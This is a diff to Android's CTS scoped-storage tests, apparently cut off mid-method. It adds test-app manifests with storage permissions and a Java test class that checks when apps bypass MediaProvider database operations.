+ "mts-mediaprovider",
+ "cts",
+ ],
+ sdk_version: "test_current",
+ target_sdk_version: "33",
+ min_sdk_version: "29",
+ libs: [
+ "android.test.base",
+ "android.test.mock",
+ "android.test.runner",
+ ],
+ java_resources: [
+ ":CtsScopedStorageTestAppB",
+ ":CtsScopedStorageTestAppE",
+ ],
+ data: [
+ ":CtsScopedStorageTestAppB",
+ ":CtsScopedStorageTestAppE",
],
per_testcase_directory: true,
}
diff --git a/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppE.xml b/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppE.xml
new file mode 100644
index 00000000000..12e4ae70137
--- /dev/null
+++ b/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppE.xml
@@ -0,0 +1,52 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2023 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.scopedstorage.cts.testapp.E"
+ android:versionCode="1"
+ android:versionName="1.0" >
+
+ <uses-sdk android:minSdkVersion="29" />
+
+ <uses-permission android:name="android.permission.READ_MEDIA_AUDIO" />
+ <uses-permission android:name="android.permission.READ_MEDIA_VIDEO" />
+ <uses-permission android:name="android.permission.READ_MEDIA_IMAGES" />
+ <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
+ <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
+ <uses-permission android:name="android.permission.ACCESS_MEDIA_LOCATION" />
+ <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE" />
+
+ <application android:label="TestAppE">
+ <activity android:name="android.scopedstorage.cts.ScopedStorageTestHelper" android:exported="true" >
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.DEFAULT"/>
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ </activity>
+
+ <provider
+ android:name="androidx.core.content.FileProvider"
+ android:authorities="android.scopedstorage.cts.testapp.E"
+ android:exported="false"
+ android:grantUriPermissions="true">
+ <meta-data
+ android:name="android.support.FILE_PROVIDER_PATHS"
+ android:resource="@xml/file_paths" />
+ </provider>
+ </application>
+</manifest>
diff --git a/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppE30.xml b/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppE30.xml
new file mode 100644
index 00000000000..0b30e3fa48e
--- /dev/null
+++ b/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppE30.xml
@@ -0,0 +1,51 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2023 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.scopedstorage.cts.testapp.E30"
+ android:versionCode="1"
+ android:versionName="1.0" >
+
+ <uses-sdk android:minSdkVersion="29" android:targetSdkVersion="30" />
+
+ <uses-permission android:name="android.permission.READ_MEDIA_AUDIO" />
+ <uses-permission android:name="android.permission.READ_MEDIA_VIDEO" />
+ <uses-permission android:name="android.permission.READ_MEDIA_IMAGES" />
+ <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
+ <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
+ <uses-permission android:name="android.permission.ACCESS_MEDIA_LOCATION" />
+
+ <application android:label="TestAppE30">
+ <activity android:name="android.scopedstorage.cts.ScopedStorageTestHelper" android:exported="true" >
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.DEFAULT"/>
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ </activity>
+
+ <provider
+ android:name="androidx.core.content.FileProvider"
+ android:authorities="android.scopedstorage.cts.testapp.E30"
+ android:exported="false"
+ android:grantUriPermissions="true">
+ <meta-data
+ android:name="android.support.FILE_PROVIDER_PATHS"
+ android:resource="@xml/file_paths" />
+ </provider>
+ </application>
+</manifest>
diff --git a/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppE30FileManager.xml b/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppE30FileManager.xml
new file mode 100644
index 00000000000..30b38d5240f
--- /dev/null
+++ b/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppE30FileManager.xml
@@ -0,0 +1,52 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2023 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.scopedstorage.cts.testapp.E30.filemanager"
+ android:versionCode="1"
+ android:versionName="1.0" >
+
+ <uses-sdk android:minSdkVersion="29" android:targetSdkVersion="30" />
+
+ <uses-permission android:name="android.permission.READ_MEDIA_AUDIO" />
+ <uses-permission android:name="android.permission.READ_MEDIA_VIDEO" />
+ <uses-permission android:name="android.permission.READ_MEDIA_IMAGES" />
+ <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
+ <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
+ <uses-permission android:name="android.permission.ACCESS_MEDIA_LOCATION" />
+ <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE" />
+
+ <application android:label="TestAppE30FileManager">
+ <activity android:name="android.scopedstorage.cts.ScopedStorageTestHelper" android:exported="true" >
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.DEFAULT"/>
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ </activity>
+
+ <provider
+ android:name="androidx.core.content.FileProvider"
+ android:authorities="android.scopedstorage.cts.testapp.E30.filemanager"
+ android:exported="false"
+ android:grantUriPermissions="true">
+ <meta-data
+ android:name="android.support.FILE_PROVIDER_PATHS"
+ android:resource="@xml/file_paths" />
+ </provider>
+ </application>
+</manifest>
diff --git a/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppELegacy.xml b/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppELegacy.xml
new file mode 100644
index 00000000000..88fc52a4aea
--- /dev/null
+++ b/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppELegacy.xml
@@ -0,0 +1,47 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2023 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.scopedstorage.cts.testapp.E.legacy"
+ android:versionCode="1"
+ android:versionName="1.0" >
+
+ <uses-sdk android:minSdkVersion="28" android:targetSdkVersion="28" />
+
+ <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
+ <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
+
+ <application android:label="TestAppELegacy">
+ <activity android:name="android.scopedstorage.cts.ScopedStorageTestHelper" android:exported="true" >
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.DEFAULT"/>
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ </activity>
+
+ <provider
+ android:name="androidx.core.content.FileProvider"
+ android:authorities="android.scopedstorage.cts.testapp.E.legacy"
+ android:exported="false"
+ android:grantUriPermissions="true">
+ <meta-data
+ android:name="android.support.FILE_PROVIDER_PATHS"
+ android:resource="@xml/file_paths" />
+ </provider>
+ </application>
+</manifest>
diff --git a/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppGeneralOnly.xml b/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppGeneralOnly.xml
new file mode 100644
index 00000000000..f895b653ae2
--- /dev/null
+++ b/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppGeneralOnly.xml
@@ -0,0 +1,52 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2023 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.scopedstorage.cts.testapp.general.only"
+ android:versionCode="1"
+ android:versionName="1.0" >
+
+ <uses-sdk android:minSdkVersion="29" />
+
+ <uses-permission android:name="android.permission.READ_MEDIA_AUDIO" />
+ <uses-permission android:name="android.permission.READ_MEDIA_VIDEO" />
+ <uses-permission android:name="android.permission.READ_MEDIA_IMAGES" />
+ <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
+ <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
+ <uses-permission android:name="android.permission.ACCESS_MEDIA_LOCATION" />
+ <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE" />
+
+ <application android:label="TestAppGeneralOnly">
+ <activity android:name="android.scopedstorage.cts.ScopedStorageTestHelper" android:exported="true" >
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.DEFAULT"/>
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ </activity>
+
+ <provider
+ android:name="androidx.core.content.FileProvider"
+ android:authorities="android.scopedstorage.cts.testapp.general.only"
+ android:exported="false"
+ android:grantUriPermissions="true">
+ <meta-data
+ android:name="android.support.FILE_PROVIDER_PATHS"
+ android:resource="@xml/file_paths" />
+ </provider>
+ </application>
+</manifest>
diff --git a/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppSystemGallery30BypassDB.xml b/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppSystemGallery30BypassDB.xml
index b56e0cd61bc..52050bad0c4 100644
--- a/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppSystemGallery30BypassDB.xml
+++ b/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppSystemGallery30BypassDB.xml
@@ -16,18 +16,20 @@
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.scopedstorage.cts.testapp.SystemGalleryBypassDB"
+ package="android.scopedstorage.cts.testapp.SystemGallery30BypassDB"
android:versionCode="1"
android:versionName="1.0" >
<uses-sdk android:minSdkVersion="29" android:targetSdkVersion="30" />
+ <uses-permission android:name="android.permission.READ_MEDIA_AUDIO" />
+ <uses-permission android:name="android.permission.READ_MEDIA_VIDEO" />
+ <uses-permission android:name="android.permission.READ_MEDIA_IMAGES" />
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.ACCESS_MEDIA_LOCATION" />
- <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE" />
- <application android:label="TestAppSystemGalleryBypassDB" android:requestRawExternalStorageAccess="true">
+ <application android:label="TestAppSystemGallery30BypassDB" android:requestRawExternalStorageAccess="true">
<activity android:name="android.scopedstorage.cts.ScopedStorageTestHelper" android:exported="true" >
<intent-filter>
<action android:name="android.intent.action.MAIN" />
@@ -38,7 +40,7 @@
<provider
android:name="androidx.core.content.FileProvider"
- android:authorities="android.scopedstorage.cts.testapp.SystemGalleryBypassDB"
+ android:authorities="android.scopedstorage.cts.testapp.SystemGallery30BypassDB"
android:exported="false"
android:grantUriPermissions="true">
<meta-data
diff --git a/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppSystemGalleryBypassDB.xml b/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppSystemGalleryBypassDB.xml
index ed4cd60ca40..c2a63aa2922 100644
--- a/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppSystemGalleryBypassDB.xml
+++ b/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppSystemGalleryBypassDB.xml
@@ -28,7 +28,6 @@
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.ACCESS_MEDIA_LOCATION" />
- <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE" />
<application android:label="TestAppSystemGalleryBypassDB" android:requestRawExternalStorageAccess="true">
<activity android:name="android.scopedstorage.cts.ScopedStorageTestHelper" android:exported="true" >
diff --git a/hostsidetests/scopedstorage/TEST_MAPPING b/hostsidetests/scopedstorage/TEST_MAPPING
index 60a142fd107..ad086654c3a 100644
--- a/hostsidetests/scopedstorage/TEST_MAPPING
+++ b/hostsidetests/scopedstorage/TEST_MAPPING
@@ -8,6 +8,15 @@
},
{
"name": "CtsScopedStorageDeviceOnlyTest[com.google.android.mediaprovider.apex]"
+ },
+ {
+ "name": "CtsScopedStorageBypassDatabaseOperationsTest[com.google.android.mediaprovider.apex]"
+ },
+ {
+ "name": "CtsScopedStorageGeneralTest[com.google.android.mediaprovider.apex]"
+ },
+ {
+ "name": "CtsScopedStorageRedactUriTest[com.google.android.mediaprovider.apex]"
}
],
"presubmit": [
@@ -19,6 +28,15 @@
},
{
"name": "CtsScopedStorageDeviceOnlyTest"
+ },
+ {
+ "name": "CtsScopedStorageBypassDatabaseOperationsTest"
+ },
+ {
+ "name": "CtsScopedStorageGeneralTest"
+ },
+ {
+ "name": "CtsScopedStorageRedactUriTest"
}
],
"presubmit-large": [
diff --git a/hostsidetests/scopedstorage/bypassdatabase/AndroidManifest.xml b/hostsidetests/scopedstorage/bypassdatabase/AndroidManifest.xml
new file mode 100644
index 00000000000..8dd4d6dbd2b
--- /dev/null
+++ b/hostsidetests/scopedstorage/bypassdatabase/AndroidManifest.xml
@@ -0,0 +1,42 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2023 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.scopedstorage.cts.bypassdatabase">
+
+ <uses-sdk android:minSdkVersion="29" />
+
+ <queries>
+ <package android:name="android.scopedstorage.cts.testapp.A.withres" />
+ <package android:name="android.scopedstorage.cts.testapp.SystemGalleryBypassDB" />
+ <package android:name="android.scopedstorage.cts.testapp.SystemGallery30BypassDB" />
+ <package android:name="android.scopedstorage.cts.testapp.E30" />
+ <package android:name="android.scopedstorage.cts.testapp.E30.filemanager" />
+ <package android:name="android.scopedstorage.cts.testapp.filemanager" />
+ <package android:name="android.scopedstorage.cts.testapp.filemanagerbypassdb" />
+ </queries>
+
+ <application android:label="Scoped Storage Device Bypass Database Operations Tests">
+ <uses-library android:name="android.test.runner" />
+ <activity android:name="android.scopedstorage.cts.lib.GetResultActivity"/>
+ </application>
+
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.scopedstorage.cts.bypassdatabase"
+ android:label="Device-only scoped storage bypass database operations tests" />
+
+</manifest>
diff --git a/hostsidetests/scopedstorage/bypassdatabase/AndroidTest.xml b/hostsidetests/scopedstorage/bypassdatabase/AndroidTest.xml
new file mode 100644
index 00000000000..064b67a1687
--- /dev/null
+++ b/hostsidetests/scopedstorage/bypassdatabase/AndroidTest.xml
@@ -0,0 +1,48 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2023 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+<configuration description="Runs device-only tests for scoped storage bypass database">
+ <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+ <option name="cleanup-apks" value="true" />
+ <option name="test-file-name" value="CtsScopedStorageBypassDatabaseOperationsTest.apk" />
+ <option name="test-file-name" value="CtsScopedStorageTestAppA.apk" />
+ <option name="test-file-name" value="CtsScopedStorageTestAppFileManager.apk" />
+ <option name="test-file-name" value="CtsScopedStorageTestAppE30.apk" />
+ <option name="test-file-name" value="CtsScopedStorageTestAppE30FileManager.apk" />
+ <option name="test-file-name" value="CtsScopedStorageTestAppFileManagerBypassDB.apk" />
+ <option name="test-file-name" value="CtsScopedStorageTestAppSystemGalleryBypassDB.apk" />
+ <option name="test-file-name" value="CtsScopedStorageTestAppSystemGallery30BypassDB.apk" />
+ </target_preparer>
+
+ <option
+ name="config-descriptor:metadata"
+ key="mainline-param"
+ value="com.google.android.mediaprovider.apex" />
+
+ <option name="config-descriptor:metadata" key="component" value="framework" />
+ <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+ <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="not_secondary_user" />
+ <option name="test-suite-tag" value="cts" />
+ <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+ <option name="package" value="android.scopedstorage.cts.bypassdatabase" />
+ <option name="runner" value="androidx.test.runner.AndroidJUnitRunner" />
+ </test>
+
+ <object type="module_controller" class="com.android.tradefed.testtype.suite.module.MainlineTestModuleController">
+ <option name="mainline-module-package-name" value="com.google.android.mediaprovider" />
+ </object>
+</configuration>
diff --git a/hostsidetests/scopedstorage/bypassdatabase/src/android/scopedstorage/cts/bypassdatabase/BypassDatabaseOperationsTest.java b/hostsidetests/scopedstorage/bypassdatabase/src/android/scopedstorage/cts/bypassdatabase/BypassDatabaseOperationsTest.java
new file mode 100644
index 00000000000..a7c9344ddec
--- /dev/null
+++ b/hostsidetests/scopedstorage/bypassdatabase/src/android/scopedstorage/cts/bypassdatabase/BypassDatabaseOperationsTest.java
@@ -0,0 +1,292 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.scopedstorage.cts.bypassdatabase;
+
+import static android.app.AppOpsManager.permissionToOp;
+import static android.scopedstorage.cts.lib.TestUtils.allowAppOpsToUid;
+import static android.scopedstorage.cts.lib.TestUtils.createFileAs;
+import static android.scopedstorage.cts.lib.TestUtils.deleteFileAs;
+import static android.scopedstorage.cts.lib.TestUtils.deleteFileAsNoThrow;
+import static android.scopedstorage.cts.lib.TestUtils.denyAppOpsToUid;
+import static android.scopedstorage.cts.lib.TestUtils.getContentResolver;
+import static android.scopedstorage.cts.lib.TestUtils.getDcimDir;
+import static android.scopedstorage.cts.lib.TestUtils.getPicturesDir;
+import static android.scopedstorage.cts.lib.TestUtils.renameFileAs;
+
+import static androidx.test.InstrumentationRegistry.getContext;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+
+import android.Manifest;
+import android.app.AppOpsManager;
+import android.provider.MediaStore;
+import android.scopedstorage.cts.lib.ScopedStorageBaseDeviceTest;
+import android.scopedstorage.cts.lib.TestUtils;
+import android.util.Log;
+
+import androidx.test.filters.SdkSuppress;
+
+import com.android.cts.install.lib.TestApp;
+
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+import org.junit.runners.Parameterized.Parameter;
+import org.junit.runners.Parameterized.Parameters;
+
+import java.io.File;
+
+/**
+ * Device-side test suite to verify file path operations optionally bypassing database operations.
+ */
+@RunWith(Parameterized.class)
+public class BypassDatabaseOperationsTest extends ScopedStorageBaseDeviceTest {
+ static final String TAG = "BypassDatabaseOperationsTest";
+ // An app with READ_EXTERNAL_STORAGE permission. Targets current SDK and is preinstalled
+ private static final TestApp APP_SYSTEM_GALLERY_DEFAULT = new TestApp("TestAppA",
+ "android.scopedstorage.cts.testapp.A.withres", 1, false,
+ "CtsScopedStorageTestAppA.apk");
+ // An app with READ_EXTERNAL_STORAGE_PERMISSION. Targets current SDK and has
+ // requestRawExternalStorageAccess=true
+ private static final TestApp APP_SYSTEM_GALLERY_BYPASS_DB = new TestApp(
+ "TestAppSystemGalleryBypassDB",
+ "android.scopedstorage.cts.testapp.SystemGalleryBypassDB", 1, false,
+ "CtsScopedStorageTestAppSystemGalleryBypassDB.apk");
+ // An app with READ_EXTERNAL_STORAGE_PERMISSION. Targets targetSDK=30.
+ private static final TestApp APP_SYSTEM_GALLERY_30 = new TestApp("TestAppE30",
+ "android.scopedstorage.cts.testapp.E30", 1, false,
+ "CtsScopedStorageTestAppE30.apk");
+ // An app with READ_EXTERNAL_STORAGE_PERMISSION. Targets targetSDK=30 and has
+ // requestRawExternalStorageAccess=true
+ private static final TestApp APP_SYSTEM_GALLERY_30_BYPASS_DB = new TestApp(
+ "TestAppSystemGallery30BypassDB",
+ "android.scopedstorage.cts.testapp.SystemGallery30BypassDB", 1, false,
+ "CtsScopedStorageTestAppSystemGallery30BypassDB.apk");
+ // An app that has file manager (MANAGE_EXTERNAL_STORAGE) permission.
+ // Targets current SDK and preinstalled
+ private static final TestApp APP_FM_DEFAULT = new TestApp(
+ "TestAppFileManager", "android.scopedstorage.cts.testapp.filemanager", 1, false,
+ "CtsScopedStorageTestAppFileManager.apk");
+ // An app that has file manager (MANAGE_EXTERNAL_STORAGE) permission.
+ // Targets current SDK and has requestRawExternalStorageAccess=true
+ private static final TestApp APP_FM_BYPASS_DATABASE_OPS = new TestApp(
+ "TestAppFileManagerBypassDB", "android.scopedstorage.cts.testapp.filemanagerbypassdb",
+ 1, false, "CtsScopedStorageTestAppFileManagerBypassDB.apk");
+ // An app that has file manager (MANAGE_EXTERNAL_STORAGE) permission and targets targetSDK=30
+ private static final TestApp APP_FM_TARGETS_30 = new TestApp("TestAppE30FileManager",
+ "android.scopedstorage.cts.testapp.E30.filemanager", 1, false,
+ "CtsScopedStorageTestAppE30FileManager.apk");
+
+ private static final String OPSTR_MANAGE_EXTERNAL_STORAGE =
+ permissionToOp(Manifest.permission.MANAGE_EXTERNAL_STORAGE);
+ private static final String[] SYSTEM_GALLERY_APPOPS = {
+ AppOpsManager.OPSTR_WRITE_MEDIA_IMAGES, AppOpsManager.OPSTR_WRITE_MEDIA_VIDEO};
+
+ /**
+ * To help avoid flaky tests, give ourselves a unique nonce to be used for
+ * all filesystem paths, so that we don't risk conflicting with previous
+ * test runs.
+ */
+ static final String NONCE = String.valueOf(System.nanoTime());
+
+ static final String IMAGE_FILE_NAME = "BypassDatabaseOperations_file_" + NONCE + ".jpg";
+
+ @BeforeClass
+ public static void setupApps() throws Exception {
+ // File manager needs to be explicitly granted MES app op.
+ final int fmUid =
+ getContext().getPackageManager().getPackageUid(
+ APP_FM_DEFAULT.getPackageName(), 0);
+ allowAppOpsToUid(fmUid, OPSTR_MANAGE_EXTERNAL_STORAGE);
+ }
+
+ @Parameter(0)
+ public String mVolumeName;
+
+ @Parameters(name = "volume={0}")
+ public static Iterable<? extends Object> data() {
+ return ScopedStorageBaseDeviceTest.getTestParameters();
+ }
+
+ @Before
+ public void setupExternalStorage() throws Exception {
+ super.setupExternalStorage(mVolumeName);
+ Log.i(TAG, "Using volume : " + mVolumeName);
+ }
+
+
+ /**
+ * Test that app with MANAGE_EXTERNAL_STORAGE permission and targeting
+ * targetSDK=31 or higher will not bypass database operations by default.
+ */
+ @Test
+ @SdkSuppress(minSdkVersion = 31, codeName = "S")
+ public void testManageExternalStorage_DoesntBypassDatabase_afterS() throws Exception {
+ testAppDoesntBypassDatabaseOps(APP_FM_DEFAULT);
+ }
+
+ /**
+ * Test that app with MANAGE_EXTERNAL_STORAGE permission, targeting
+ * targetSDK=31 or higher and with requestRawExternalStorageAccess=true
+ * will bypass database operations.
+ */
+ @Test
+ @SdkSuppress(minSdkVersion = 31, codeName = "S")
+ public void testManageExternalStorage_WithBypassFlag_BypassesDatabase() throws Exception {
+ final int fmUid = getContext().getPackageManager().getPackageUid(
+ APP_FM_BYPASS_DATABASE_OPS.getPackageName(), 0);
+ allowAppOpsToUid(fmUid, OPSTR_MANAGE_EXTERNAL_STORAGE);
+ testAppBypassesDatabaseOps(APP_FM_BYPASS_DATABASE_OPS);
+ }
+
+ /**
+ * Test that app with MANAGE_EXTERNAL_STORAGE permission and targeting
+ * targetSDK=30 or lower will bypass database operations by default.
+ */
+ @Test
+ public void testManageExternalStorage_targets30_BypassesDatabase() throws Exception {
+ final int fmUid = getContext().getPackageManager().getPackageUid(
+ APP_FM_TARGETS_30.getPackageName(), 0);
+ allowAppOpsToUid(fmUid, OPSTR_MANAGE_EXTERNAL_STORAGE);
+ testAppBypassesDatabaseOps(APP_FM_TARGETS_30);
+ }
+
+ /**
+ * Test that app with SYSTEM_GALLERY role and targeting
+ * targetSDK=current or higher will not bypass database operations by default.
+ */
+ @Test
+ public void testSystemGallery_DoesntBypassDatabase() throws Exception {
+ final int sgUid =
+ getContext().getPackageManager().getPackageUid(
+ APP_SYSTEM_GALLERY_DEFAULT.getPackageName(), 0);
+ try {
+ allowAppOpsToUid(sgUid, SYSTEM_GALLERY_APPOPS);
+ testAppDoesntBypassDatabaseOps(APP_SYSTEM_GALLERY_DEFAULT);
+ } finally {
+ denyAppOpsToUid(sgUid, SYSTEM_GALLERY_APPOPS);
+ }
+ }
+
+
+ /**
+ * Test that app with SYSTEM_GALLERY role, targeting
+ * targetSDK=current or higher and with requestOptimizedSystemGalleryAccess=true
+ * will bypass database operations.
+ */
+ @Test
+ @SdkSuppress(minSdkVersion = 31, codeName = "S")
+ public void testSystemGallery_WithBypassFlag_BypassesDatabase() throws Exception {
+ final int sgUid = getContext().getPackageManager().getPackageUid(
+ APP_SYSTEM_GALLERY_BYPASS_DB.getPackageName(), 0);
+ allowAppOpsToUid(sgUid, SYSTEM_GALLERY_APPOPS);
+ testAppBypassesDatabaseOps(APP_SYSTEM_GALLERY_BYPASS_DB);
+ }
+
+ /**
+ * Test that app with SYSTEM_GALLERY role and targeting
+ * targetSDK=30 or higher will not bypass database operations by default.
+ */
+ @Test
+ public void testSystemGallery_targets30_DoesntBypassDatabase() throws Exception {
+ final int sgUid = getContext().getPackageManager().getPackageUid(
+ APP_SYSTEM_GALLERY_30.getPackageName(), 0);
+ allowAppOpsToUid(sgUid, SYSTEM_GALLERY_APPOPS);
+ testAppDoesntBypassDatabaseOps(APP_SYSTEM_GALLERY_30);
+ }
+
+ /**
+ * Test that app with SYSTEM_GALLERY role, targeting
+ * targetSDK=30 or higher and with requestOptimizedSystemGalleryAccess=true
+ * will bypass database operations.
+ */
+ @Test
+ @SdkSuppress(minSdkVersion = 31, codeName = "S")
+ public void testSystemGallery_targets30_WithBypassFlag_BypassesDatabase() throws Exception {
+ final int sgUid = getContext().getPackageManager().getPackageUid(
